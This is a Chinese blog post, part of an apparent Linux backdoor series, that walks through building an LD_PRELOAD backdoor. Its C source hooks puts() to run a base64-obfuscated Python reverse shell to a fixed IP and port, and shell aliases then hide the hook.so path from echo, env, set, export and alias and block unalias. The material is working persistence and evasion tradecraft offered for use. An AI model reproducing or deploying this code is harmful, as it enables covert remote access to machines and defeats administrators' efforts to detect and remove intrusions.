专栏首页漫流砂LD_PRELOAD 后门 | Linux 后门系列

LD_PRELOAD 后门 | Linux 后门系列

LD_PRELOAD 都快被写烂了,基本都是绕过 disable_functions ,之后分析得也比较完整,比较复杂

其实知识点也就是一个加载顺序的问题,之前咱们已经针对PATH的加载路径劫持做了介绍,这次原理没变,只不过是劫持函数,需要的知识点更高一些

动态链接库加载过程中会先加载 LD_PRELOAD 指向的变量,这样我们可以利用这个先加载来进行劫持正常的函数和命令

这次我们劫持 whoami 命令 ,查看一下 whoami 命令都调用了哪些库函数

可以看到这里有一个 whoami ,我们就劫持它,思路如下:

  • 覆盖这个函数,并且在内部重写
  • 先把原函数指针赋值给一个变量
  • 执行我们的代码
  • 执行原函数
  • 正常返回值

preload.c

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
  int (*new_puts)(const char *message);
  int result;
  new_puts = dlsym(RTLD_NEXT, "puts");
  system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ==')))\"");
  result = new_puts(message);
  return result;
}

这里的 payload 使用咱们 alias 后门文章中的 payload

编译

可以看到可执行文件 hook.so 已经完成了

设置 LD_PRELOAD

成功获取到反弹shell ,劫持成功。

加固后门

正常大家检查是否存在 LD_PRELOAD 后门的时候都是直接 echo $LD_PRELOAD

这样直接就可以看到我们修改的环境变量了,相信大家已经想到了,可以使用上一节 alias 后门的想法进行隐藏

在这之前,我们还是要先把查看环境变量的方式大概总结出来,这样呢,可以一次性隐匿一下:

  • echo $LD_PRELOAD
  • env
  • set
  • export
  • cat /proc/$PID/environ

我能想到的大概就上面五种,其中 cat /proc/$PID/environ 我们不进行劫持,因为比较复杂,不好把控,容易弄巧成拙

alias 技巧主要有以下几个步骤:

  • 查看原命令没有设置后门时候显示什么样
  • 查看原命令设置后门后显示什么样
  • alias 劫持一下显示,让设置后的显示与设置前一致
    • 千万记得先去看一下是否系统默认或者管理员设置过这个命令的别名,参照之前的 ls
  • 劫持 alias ,让 alias 设置的别名不显示
  • 劫持 unalias ,让系统管理员无法直接用 unalias 命令来取消 alias 等别名

先来 echo

  • 没有设置后门时是这样的
  • 设置后门后是这样的
  • alias 劫持显示 这个简单了,把这些字符替换成空就行了

之前没有定义echo的别名,很好 alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func'

成功劫持!

咱们把劫持 unalias 和劫持 alias 放在最后,先把这些命令都劫持一下:

env

  • 没有后门时候是这样的
  • 设置了后门之后是这样的

这个太简单了,直接 grep -v 就可以实现了

  • 劫持显示

之前没有设置过env 的别名 alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func'

成功劫持

set

  • 没有设置后门时候是这样的

很长,我们直接使用 grep 来进行筛选查询吧:

可以看到,完全是空的对吧,毕竟我们没有进行修改嘛,这里我为什么要 grep env 呢?一会揭晓...

  • 设置后门后是这样的

set 命令返回的结果巨长,所以我是直接 grep 了一下

仔细看图里的东西,这都是我一不留神发现的,上一步我们设置的env 别名会出现在 set 中,但是吧,需要执行一次 env 后才会出现在 set 中

  • 劫持显示

alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func'

成功劫持

export

  • 没有设置后门时候是这样的
  • 设置后门后是这样的

大家都熟悉了吧,咋写估计都快能背下来了

  • 劫持显示 alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'

成功劫持显示,同时呢,因为之前劫持set 后,export这一条也不会在 set 中显示,啊,我真是个天才,哈哈哈

劫持 unalias

alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'

劫持 alias

默认情况 alias 一下就露馅了对吧,所以我们劫持它

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

劫持成功

现在我们来进行验证后门还好用吗

可以看到后门可以使用,那么现在我们来看一下以上各种方法还能否看见我们做的手脚

完美!

Tips:

  • 使用 readonly 命令设置的环境变量不可修改
  • 在有SUID,SGID存在的文件是无视 LD_PRELOAD 的,无法用 :LD_PRELOAD 劫持
  • 这些命令的源码 git clone git://git.sv.gnu.org/coreutils
  • man puts 可以获取到 puts 函数的基本信息,其中就包括参数名和参数类型

如果不是我为了故意与别人的文章不一样,下面的问题我都不会发现

  • whoami 命令和 pwd 命令都调用了 puts 函数,使用 ltrace 进行查看的时候还都实际调用执行了,但是 pwd 不会触发 payload
  • 设置好后门后使用 ltrace 追踪 whoami 和 pwd 命令,此时,两个都可以执行 payload
  • ltrace 追踪 ssh、id 等命令的时候不会触发 payload

问了一圈人,也没人知道咋回事,到现在我也不知道具体因为什么,如果哪位兄弟知道,麻烦告知一下原因,求求了

参考文章

https://payloads.online/archivers/2020-01-01/1

https://www.elttam.com/blog/goahead/

https://www.exploit-db.com/papers/13233

https://attack.mitre.org/techniques/T1055/

本文分享自微信公众号 - 漫流砂(yidalidemao),作者:意大利的猫

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-07-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Nmap 脚本研究

    >>> 为了写这一系列的文章,我用这段时间学习了 Lua语言,学习了Nmap的API,翻译了NSE库的部分源码,希望给喜欢Nmap的小伙伴带来惊喜吧!

    意大利的猫
  • 不落地反弹meterpreter | Linux后门系列

    这样我们要执行的payload就组装完了,怎么一句话不落地执行呢?看了之前文章的都知道 python3 -c 'codes'

    意大利的猫
  • 类Unix 抓包神器 Tcpdump

    Linux作为网络服务器,特别是作为路由器和网关时,数据的采集和分析是不可少的。TcpDump是Linux中强大的网络数据采集分析工具之一。

    意大利的猫
  • SAP OData service的执行是如何从Gateway系统转交到backend系统

    下面是我今天研究的后台OData数据的model以及如何在IE里面consume:

    Jerry Wang
  • Akraino Edge Stack进入执行阶段

    旧金山 - 2018年8月20日 - Akraino Edge Stack是一个Linux基金会项目,它创建了一个开源软件堆栈,以支持边缘计算系统和应用程序优化...

    SDNLAB
  • SAP gateway standard mode和compatible mode的区别

    Subject: difference between gateway standard mode and compatible mode

    Jerry Wang
  • 我的同事,高手写的Kyma Lambda Function

    Jerry Wang
  • 数据猿专访 | 聚美物联CEO金寿江:不谈场景应用的大数据都是在裸奔

    2016年,拨开产业泡沫,大数据企业开始探讨如何利用大数据解决企业与用户实际问题。而这一过程中,场景应用必然会被提及。聚美物联CEO金寿江告诉数据猿记者:“大数...

    数据猿
  • 如何在 CentOS 8 上安装 R

    R 是一门开源编程语言和自由的环境,主要用于统计分析、绘图。它由 R 基金会支持,主要用于统计分析。它主要被数据统计和分析师们用来开发统计软件,并用来进行数据分...

    雪梦科技
  • 一篇文章教会你使用Python抓取微博评论

    试想一个问题,如果我们要抓取某个微博大V微博的评论数据,应该怎么实现呢?最简单的做法就是找到微博评论数据接口,然后通过改变参数来获取最新数据并保存。首先从微博a...

    龙哥

扫码关注云+社区

领取腾讯云代金券